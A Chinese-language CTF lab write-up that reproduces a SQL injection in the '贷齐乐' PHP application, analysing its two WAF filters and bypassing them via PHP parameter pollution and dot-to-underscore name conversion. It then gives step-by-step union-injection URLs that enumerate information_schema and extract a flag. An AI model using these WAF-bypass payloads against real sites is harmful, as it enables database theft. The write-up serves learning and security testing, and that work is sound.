贷齐乐漏洞复现+php特性绕过WAF

目录

一、环境搭建

1.将贷齐乐源码放入phpstudy中的www目录下

2.在phpstudy上创建网站:

3.在本地数据库中创建数据库--ctf,并创建users表:

4.往表中插入数据:

5.查看users表:

6.测试能否访问到数据库

二、源码分析

1.WAF1:

2.WAF2:

3.php特性:

4.绕过方法:

三、联合注入

1.找注入点:空格被过滤所以用/**/来代替空格

2.爆库名:

3.通过limit来一个一个显示数据库名:

4.爆表名:

5.查字段名

6.得到flag


一、环境搭建

1.将贷齐乐源码放入phpstudy中的www目录下

2.在phpstudy上创建网站:

注意db.inc.php中数据库信息要与本地数据库一致

复制代码
<?php

$mysql_server_name="localhost";

$mysql_database="ctf";    /** 数据库的名称 */

$mysql_username="root";  /** MySQL数据库用户名 */

$mysql_password="123456";  /** MySQL数据库密码 */

$conn = mysqli_connect($mysql_server_name, $mysql_username,$mysql_password,$mysql_database);

?>

3.在本地数据库中创建数据库--ctf,并创建users表:

复制代码
CREATE DATABASE ctf

use ctf
CREATE TABLE `users` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) DEFAULT NULL,
  `pass` varchar(255) DEFAULT NULL,
  `flag` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8

4.往表中插入数据:

复制代码
mysql> INSERT INTO `users` (`name`, `pass`, `flag`) VALUES ('admin', 'admin', 'hrctf{R3qeeeee_Is_1nterEst1ng}');

5.查看users表:

6.测试能否访问到数据库

二、源码分析

1.WAF1:

包含点,单引号,星号等等,一旦包含直接删除非法字符,然后又注释掉了一系列东西

复制代码
 function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;

2.WAF2:

GET/POST/REQUEST/COOKIE都会经过这个替换str_replace(array('&', '"', '<', '>','(',')'), array('&', '"', '<', '>','(',')'), $string),

这个替换最明显的效果,就是所有的英文括号都变成中文括号,导致user(),database()等无法执

复制代码
function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }

在我们的第一道WAF之后进行的,假设我们有一个方法让第一道WAF认为请求中没有恶意字符,再通过这里的覆盖,将恶意字符引入$_REQUEST中,就可以造成WAF的绕过了。

3.php特性:

1**.当我们输入两个相同名字的参数的时候,php是取后一个的。----php全局污染**

2.php另一个特性,自身在解析请求的时候,如果参数名字中包含" "、"."、"["这几个字符,会将他们转换成下划线。

4.绕过方法:

假设我发送的是这样一个请求:i_d=1&i.d=2 ,php先将i.d转换成i_d,即为i_d=1&i_d=2 ,再获取到的$_REQUEST'i_d'就是2。

可在_SERVER\['REQUEST_URI'\]中,i_d和i.d却是两个完全不同的参数名,那么切割覆盖后,获取的_REQUEST'i_d'却是1。

1、hpp php 只接收同名参数的最后一个,这个也涉及hpp全局参数污染。

2、php中会将get传参中的key中的.转为_

3、$_REQUEST 遵循php接收方式,i_d&i.d中的最后一个参数的转换为下划线然后接收,所以我们的正常代码放在第二个参数,waf失效。

三、联合注入

通过对源码的解读,可见过滤了很多东西,比如空格、括号、单引号等等,那么在接下来的注入中,我们需要合理的去绕过这些waf。由于括号被注释掉了,所以可以使用联合注入。

1.找注入点:空格被过滤所以用/**/来代替空格

复制代码
http://127.0.0.1:8081/index.php/?i_d=-1/**/union/**/select/**/1,2,3&i.d=1&submit=1

在第二个字段进行的回显,所以我们就在第二个字段进行注入

2.爆库名:

复制代码
http://127.0.0.1:8081/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1

3.通过limit来一个一个显示数据库名:

复制代码
http://127.0.0.1:8081/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables/**/limit/**/3,1&i.d=1&submit=1

4.爆表名:

复制代码
http://127.0.0.1:8081/index.php/?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1

由于等号被截断了,所以使用like进行替换,同时传入数据库中的内容使用十六进制进行了替换

5.查字段名

复制代码
http://127.0.0.1:8081/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/3,1&i.d=1&submit=1

6.得到flag

复制代码
http://127.0.0.1:8081/index.php/?&i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1
相关推荐
运维行者_3 小时前
网络监控工具怎么选?从设备监控到智能运维的能力清单
运维·服务器·开发语言·网络·人工智能·支持向量机·php
星光开发者5 小时前
基于springboot智慧草场牛羊管理系统-计算机毕设【课程设计】50360
vue.js·spring boot·后端·mysql·php·课程设计·express
weixin_BYSJ19875 小时前
电竞先锋网站---附源码02032
java·vue.js·spring boot·python·django·tomcat·php
郑州光合科技余经理6 小时前
同城小程序开发:同一笔单在用户端和商家端各显示到哪
android·java·开发语言·前端·后端·uni-app·php
2401_872418788 小时前
互联网公开信息检索完全指南:Google、Yandex、Wayback Machine、DNS、WHOIS、Shodan 等 OSINT 工具大全
开发语言·php
aixingpan8 小时前
aixingpan.cnAPI开发文档:api_docs_trichart_natal_solar_return_transit2接口指南
前端·php
狗凯之家源码网10 小时前
H5 棋牌对战系统源码深度评测与实战分析
php·游戏开发
IT大白鼠12 小时前
渗透测试实战从靶场搭建到渗透流程——第 1 篇 · 靶场宿主搭建:Docker 编排 15 个常驻靶场
渗透测试
李纲明1 天前
WordPress 后台登录马上被踢回登录页:Cookie 域、HTTPS、盐值和页面缓存怎么查
运维·缓存·https·php·wordpress·cookie
4SAPI1 天前
AI 数据分析工具大模型 API 选型指南
大数据·人工智能·架构·php·1024程序员节